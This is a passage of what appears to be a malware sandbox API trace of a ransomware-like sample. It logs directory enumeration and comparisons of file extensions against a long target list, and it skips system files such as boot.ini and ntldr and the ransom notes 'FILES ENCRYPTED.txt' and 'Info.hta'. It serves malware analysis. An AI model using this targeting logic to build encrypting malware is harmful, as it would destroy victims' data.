[0181.603] lstrlenW (lpString=".dwt") returned 4 [0181.603] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0181.603] lstrlenW (lpString=".dx") returned 3 [0181.603] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0181.603] lstrlenW (lpString=".dxf") returned 4 [0181.604] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0181.604] lstrlenW (lpString=".edml") returned 5 [0181.604] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0181.604] lstrlenW (lpString=".efd") returned 4 [0181.604] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0181.604] lstrlenW (lpString=".elf") returned 4 [0181.604] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0181.604] lstrlenW (lpString=".emf") returned 4 [0181.604] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0181.604] lstrlenW (lpString=".emz") returned 4 [0181.604] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0181.604] lstrlenW (lpString=".epf") returned 4 [0181.604] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0181.604] lstrlenW (lpString=".eps") returned 4 [0181.604] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0181.604] lstrlenW (lpString=".epsf") returned 5 [0181.604] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0181.604] lstrlenW (lpString=".epsp") returned 5 [0181.604] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0181.604] lstrlenW (lpString=".erf") returned 4 [0181.604] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0181.604] lstrlenW (lpString=".exr") returned 4 [0181.604] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0181.604] lstrlenW (lpString=".f4v") returned 4 [0181.604] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0181.604] lstrlenW (lpString=".fido") returned 5 [0181.604] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0181.605] lstrlenW (lpString=".flm") returned 4 [0181.605] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0181.605] lstrlenW (lpString=".flv") returned 4 [0181.605] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0181.605] lstrlenW (lpString=".frm") returned 4 [0181.605] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0181.605] lstrlenW (lpString=".fxg") returned 4 [0181.605] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0181.605] lstrlenW (lpString=".geo") returned 4 [0181.605] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0181.605] lstrlenW (lpString=".gif") returned 4 [0181.605] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0181.605] lstrlenW (lpString=".grs") returned 4 [0181.605] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0181.605] lstrlenW (lpString=".gz") returned 3 [0181.605] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0181.605] lstrlenW (lpString=".h") returned 2 [0181.605] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0181.605] lstrlenW (lpString=".hdr") returned 4 [0181.605] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0181.605] lstrlenW (lpString=".hpp") returned 4 [0181.606] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0181.606] lstrlenW (lpString=".hta") returned 4 [0181.606] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0181.606] lstrlenW (lpString=".htc") returned 4 [0181.606] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0181.606] lstrlenW (lpString=".htm") returned 4 [0181.606] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0181.606] lstrlenW (lpString=".html") returned 5 [0181.606] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0181.606] lstrlenW (lpString="index.html") returned 10 [0181.606] lstrlenW (lpString=".NEWS") returned 5 [0181.606] lstrcmpiW (lpString1=".NEWS", lpString2=".html") returned 1 [0181.606] lstrlenW (lpString="index.html") returned 10 [0181.606] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1 [0181.606] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1 [0181.606] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1 [0181.606] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1 [0181.606] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1 [0181.606] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1 [0181.606] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1 [0181.606] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="index.html") returned -1 [0181.606] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\index.html") returned 111 [0181.606] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0181.607] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0181.607] lstrlenW (lpString=".1cd") returned 4 [0181.607] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.607] lstrlenW (lpString=".3ds") returned 4 [0181.607] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0181.607] lstrlenW (lpString=".3fr") returned 4 [0181.607] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0181.607] lstrlenW (lpString=".3g2") returned 4 [0181.607] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0181.607] lstrlenW (lpString=".3gp") returned 4 [0181.607] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0181.607] lstrlenW (lpString=".7z") returned 3 [0181.607] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.607] lstrlenW (lpString=".accda") returned 6 [0181.607] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0181.607] lstrlenW (lpString=".accdb") returned 6 [0181.607] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0181.607] lstrlenW (lpString=".accdc") returned 6 [0181.607] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0181.607] lstrlenW (lpString=".accde") returned 6 [0181.608] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0181.608] lstrlenW (lpString=".accdt") returned 6 [0181.608] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0181.608] lstrlenW (lpString=".accdw") returned 6 [0181.608] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0181.608] lstrlenW (lpString=".adb") returned 4 [0181.608] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0181.608] lstrlenW (lpString=".adp") returned 4 [0181.608] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0181.608] lstrlenW (lpString=".ai") returned 3 [0181.608] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0181.608] lstrlenW (lpString=".ai3") returned 4 [0181.608] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0181.608] lstrlenW (lpString=".ai4") returned 4 [0181.608] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0181.608] lstrlenW (lpString=".ai5") returned 4 [0181.608] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0181.608] lstrlenW (lpString=".ai6") returned 4 [0181.608] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0181.608] lstrlenW (lpString=".ai7") returned 4 [0181.608] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0181.608] lstrlenW (lpString=".ai8") returned 4 [0181.608] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0181.608] lstrlenW (lpString=".anim") returned 5 [0181.608] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0181.609] lstrlenW (lpString=".arw") returned 4 [0181.609] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0181.609] lstrlenW (lpString=".as") returned 3 [0181.609] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0181.609] lstrlenW (lpString=".asa") returned 4 [0181.609] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0181.609] lstrlenW (lpString=".asc") returned 4 [0181.609] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0181.609] lstrlenW (lpString=".ascx") returned 5 [0181.609] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0181.609] lstrlenW (lpString=".asm") returned 4 [0181.609] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0181.609] lstrlenW (lpString=".asmx") returned 5 [0181.609] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0181.609] lstrlenW (lpString=".asp") returned 4 [0181.609] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0181.609] lstrlenW (lpString=".aspx") returned 5 [0181.609] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0181.609] lstrlenW (lpString=".asr") returned 4 [0181.609] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0181.609] lstrlenW (lpString=".asx") returned 4 [0181.609] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0181.609] lstrlenW (lpString=".avi") returned 4 [0181.609] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0181.609] lstrlenW (lpString=".avs") returned 4 [0181.609] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0181.609] lstrlenW (lpString=".backup") returned 7 [0181.610] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0181.610] lstrlenW (lpString=".bak") returned 4 [0181.610] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0181.610] lstrlenW (lpString=".bay") returned 4 [0181.610] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0181.610] lstrlenW (lpString=".bd") returned 3 [0181.610] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0181.610] lstrlenW (lpString=".bin") returned 4 [0181.610] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0181.610] lstrlenW (lpString=".bmp") returned 4 [0181.610] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0181.610] lstrlenW (lpString=".bz2") returned 4 [0181.610] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.611] lstrlenW (lpString=".c") returned 2 [0181.611] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.611] lstrlenW (lpString=".cdr") returned 4 [0181.611] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0181.611] lstrlenW (lpString=".cer") returned 4 [0181.611] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0181.611] lstrlenW (lpString=".cf") returned 3 [0181.611] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0181.611] lstrlenW (lpString=".cfc") returned 4 [0181.611] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0181.612] lstrlenW (lpString=".cfm") returned 4 [0181.612] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0181.612] lstrlenW (lpString=".cfml") returned 5 [0181.612] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0181.612] lstrlenW (lpString=".cfu") returned 4 [0181.612] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0181.612] lstrlenW (lpString=".chm") returned 4 [0181.612] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0181.612] lstrlenW (lpString=".cin") returned 4 [0181.612] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0181.612] lstrlenW (lpString=".class") returned 6 [0181.612] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0181.612] lstrlenW (lpString=".clx") returned 4 [0181.612] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0181.612] lstrlenW (lpString=".config") returned 7 [0181.612] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0181.612] lstrlenW (lpString=".cpp") returned 4 [0181.612] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0181.612] lstrlenW (lpString=".cr2") returned 4 [0181.612] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0181.612] lstrlenW (lpString=".crt") returned 4 [0181.612] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0181.612] lstrlenW (lpString=".crw") returned 4 [0181.612] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0181.612] lstrlenW (lpString=".cs") returned 3 [0181.613] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0181.613] lstrlenW (lpString=".css") returned 4 [0181.613] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0181.613] lstrlenW (lpString=".csv") returned 4 [0181.613] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0181.613] lstrlenW (lpString=".cub") returned 4 [0181.613] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0181.613] lstrlenW (lpString=".dae") returned 4 [0181.613] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0181.613] lstrlenW (lpString=".dat") returned 4 [0181.613] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0181.613] lstrlenW (lpString=".db") returned 3 [0181.613] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0181.613] lstrlenW (lpString=".dbf") returned 4 [0181.613] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.613] lstrlenW (lpString=".dbx") returned 4 [0181.613] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0181.613] lstrlenW (lpString=".dc3") returned 4 [0181.613] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0181.613] lstrlenW (lpString=".dcm") returned 4 [0181.613] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0181.613] lstrlenW (lpString=".dcr") returned 4 [0181.613] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0181.613] lstrlenW (lpString=".der") returned 4 [0181.614] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0181.614] lstrlenW (lpString=".dib") returned 4 [0181.614] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0181.614] lstrlenW (lpString=".dic") returned 4 [0181.614] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0181.614] lstrlenW (lpString=".dif") returned 4 [0181.614] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0181.614] lstrlenW (lpString=".divx") returned 5 [0181.614] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0181.614] lstrlenW (lpString=".djvu") returned 5 [0181.614] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0181.614] lstrlenW (lpString=".dng") returned 4 [0181.614] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0181.614] lstrlenW (lpString=".doc") returned 4 [0181.614] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.614] lstrlenW (lpString=".docm") returned 5 [0181.614] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0181.614] lstrlenW (lpString=".docx") returned 5 [0181.614] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0181.614] lstrlenW (lpString=".dot") returned 4 [0181.614] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0181.614] lstrlenW (lpString=".dotm") returned 5 [0181.614] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0181.614] lstrlenW (lpString=".dotx") returned 5 [0181.614] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0181.614] lstrlenW (lpString=".dpx") returned 4 [0181.615] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0181.615] lstrlenW (lpString=".dqy") returned 4 [0181.615] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0181.615] lstrlenW (lpString=".dsn") returned 4 [0181.615] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0181.615] lstrlenW (lpString=".dt") returned 3 [0181.615] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0181.615] lstrlenW (lpString=".dtd") returned 4 [0181.615] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0181.615] lstrlenW (lpString=".dwg") returned 4 [0181.615] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0181.615] lstrlenW (lpString=".dwt") returned 4 [0181.615] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0181.615] lstrlenW (lpString=".dx") returned 3 [0181.615] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0181.615] lstrlenW (lpString=".dxf") returned 4 [0181.615] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0181.615] lstrlenW (lpString=".edml") returned 5 [0181.615] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0181.615] lstrlenW (lpString=".efd") returned 4 [0181.615] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0181.615] lstrlenW (lpString=".elf") returned 4 [0181.615] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0181.615] lstrlenW (lpString=".emf") returned 4 [0181.615] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0181.615] lstrlenW (lpString=".emz") returned 4 [0181.615] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0181.616] lstrlenW (lpString=".epf") returned 4 [0181.616] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0181.616] lstrlenW (lpString=".eps") returned 4 [0181.616] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0181.616] lstrlenW (lpString=".epsf") returned 5 [0181.616] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0181.616] lstrlenW (lpString=".epsp") returned 5 [0181.616] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0181.616] lstrlenW (lpString=".erf") returned 4 [0181.616] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0181.616] lstrlenW (lpString=".exr") returned 4 [0181.616] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0181.616] lstrlenW (lpString=".f4v") returned 4 [0181.616] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0181.616] lstrlenW (lpString=".fido") returned 5 [0181.616] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0181.616] lstrlenW (lpString=".flm") returned 4 [0181.616] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0181.616] lstrlenW (lpString=".flv") returned 4 [0181.616] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0181.617] lstrlenW (lpString=".frm") returned 4 [0181.617] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0181.617] lstrlenW (lpString=".fxg") returned 4 [0181.617] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0181.617] lstrlenW (lpString=".geo") returned 4 [0181.617] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0181.617] lstrlenW (lpString=".gif") returned 4 [0181.617] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0181.617] lstrlenW (lpString=".grs") returned 4 [0181.617] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0181.617] lstrlenW (lpString=".gz") returned 3 [0181.617] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0181.617] lstrlenW (lpString=".h") returned 2 [0181.617] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0181.617] lstrlenW (lpString=".hdr") returned 4 [0181.617] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0181.617] lstrlenW (lpString=".hpp") returned 4 [0181.617] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0181.617] lstrlenW (lpString=".hta") returned 4 [0181.617] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0181.617] lstrlenW (lpString=".htc") returned 4 [0181.617] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0181.617] lstrlenW (lpString=".htm") returned 4 [0181.618] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0181.618] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24 [0181.618] lstrlenW (lpString=".1cd") returned 4 [0181.618] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.618] lstrlenW (lpString=".3ds") returned 4 [0181.618] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0181.618] lstrlenW (lpString=".3fr") returned 4 [0181.618] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0181.618] lstrlenW (lpString=".3g2") returned 4 [0181.618] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0181.619] lstrlenW (lpString=".3gp") returned 4 [0181.619] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0181.619] lstrlenW (lpString=".7z") returned 3 [0181.619] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.619] lstrlenW (lpString=".accda") returned 6 [0181.619] lstrcmpiW (lpString1=".accda", lpString2="h2.xml") returned -1 [0181.619] lstrlenW (lpString=".accdb") returned 6 [0181.619] lstrcmpiW (lpString1=".accdb", lpString2="h2.xml") returned -1 [0181.619] lstrlenW (lpString=".accdc") returned 6 [0181.619] lstrcmpiW (lpString1=".accdc", lpString2="h2.xml") returned -1 [0181.619] lstrlenW (lpString=".accde") returned 6 [0181.619] lstrcmpiW (lpString1=".accde", lpString2="h2.xml") returned -1 [0181.619] lstrlenW (lpString=".accdt") returned 6 [0181.619] lstrcmpiW (lpString1=".accdt", lpString2="h2.xml") returned -1 [0181.619] lstrlenW (lpString=".accdw") returned 6 [0181.619] lstrcmpiW (lpString1=".accdw", lpString2="h2.xml") returned -1 [0181.619] lstrlenW (lpString=".adb") returned 4 [0181.619] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0181.619] lstrlenW (lpString=".adp") returned 4 [0181.619] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0181.619] lstrlenW (lpString=".ai") returned 3 [0181.619] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0181.619] lstrlenW (lpString=".ai3") returned 4 [0181.619] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0181.619] lstrlenW (lpString=".ai4") returned 4 [0181.620] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0181.620] lstrlenW (lpString=".ai5") returned 4 [0181.620] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0181.620] lstrlenW (lpString=".ai6") returned 4 [0181.620] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0181.620] lstrlenW (lpString=".ai7") returned 4 [0181.620] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0181.620] lstrlenW (lpString=".ai8") returned 4 [0181.620] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0181.620] lstrlenW (lpString=".anim") returned 5 [0181.620] lstrcmpiW (lpString1=".anim", lpString2="2.xml") returned -1 [0181.620] lstrlenW (lpString=".arw") returned 4 [0181.620] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0181.620] lstrlenW (lpString=".as") returned 3 [0181.620] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0181.620] lstrlenW (lpString=".asa") returned 4 [0181.624] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0181.624] lstrlenW (lpString=".asc") returned 4 [0181.624] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0181.624] lstrlenW (lpString=".ascx") returned 5 [0181.624] lstrcmpiW (lpString1=".ascx", lpString2="2.xml") returned -1 [0181.624] lstrlenW (lpString=".asm") returned 4 [0181.624] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0181.625] lstrlenW (lpString=".asmx") returned 5 [0181.625] lstrcmpiW (lpString1=".asmx", lpString2="2.xml") returned -1 [0181.625] lstrlenW (lpString=".asp") returned 4 [0181.625] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0181.625] lstrlenW (lpString=".aspx") returned 5 [0181.625] lstrcmpiW (lpString1=".aspx", lpString2="2.xml") returned -1 [0181.625] lstrlenW (lpString=".asr") returned 4 [0181.625] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0181.625] lstrlenW (lpString=".asx") returned 4 [0181.625] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0181.625] lstrlenW (lpString=".avi") returned 4 [0181.625] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0181.625] lstrlenW (lpString=".avs") returned 4 [0181.625] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0181.625] lstrlenW (lpString=".backup") returned 7 [0181.625] lstrcmpiW (lpString1=".backup", lpString2="th2.xml") returned -1 [0181.625] lstrlenW (lpString=".bak") returned 4 [0181.625] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0181.625] lstrlenW (lpString=".bay") returned 4 [0181.625] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0181.625] lstrlenW (lpString=".bd") returned 3 [0181.625] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0181.625] lstrlenW (lpString=".bin") returned 4 [0181.625] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0181.625] lstrlenW (lpString=".bmp") returned 4 [0181.626] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0181.626] lstrlenW (lpString=".bz2") returned 4 [0181.626] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.626] lstrlenW (lpString=".c") returned 2 [0181.626] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.626] lstrlenW (lpString=".cdr") returned 4 [0181.626] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0181.626] lstrlenW (lpString=".cer") returned 4 [0181.626] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0181.909] lstrlenW (lpString=".cf") returned 3 [0181.909] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0181.909] lstrlenW (lpString=".cfc") returned 4 [0181.909] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0181.909] lstrlenW (lpString=".cfm") returned 4 [0181.909] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0181.909] lstrlenW (lpString=".cfml") returned 5 [0181.909] lstrcmpiW (lpString1=".cfml", lpString2="2.xml") returned -1 [0181.909] lstrlenW (lpString=".cfu") returned 4 [0181.909] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0181.909] lstrlenW (lpString=".chm") returned 4 [0181.909] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0181.909] lstrlenW (lpString=".cin") returned 4 [0181.909] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0181.909] lstrlenW (lpString=".class") returned 6 [0181.909] lstrcmpiW (lpString1=".class", lpString2="h2.xml") returned -1 [0181.909] lstrlenW (lpString=".clx") returned 4 [0181.909] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0181.910] lstrlenW (lpString=".config") returned 7 [0181.910] lstrcmpiW (lpString1=".config", lpString2="th2.xml") returned -1 [0181.910] lstrlenW (lpString=".cpp") returned 4 [0181.910] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0181.910] lstrlenW (lpString=".cr2") returned 4 [0181.910] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0181.910] lstrlenW (lpString=".crt") returned 4 [0181.910] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0181.910] lstrlenW (lpString=".crw") returned 4 [0181.910] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0181.910] lstrlenW (lpString=".cs") returned 3 [0181.910] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0181.910] lstrlenW (lpString=".css") returned 4 [0181.910] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0181.910] lstrlenW (lpString=".csv") returned 4 [0181.910] lstrcmpiW 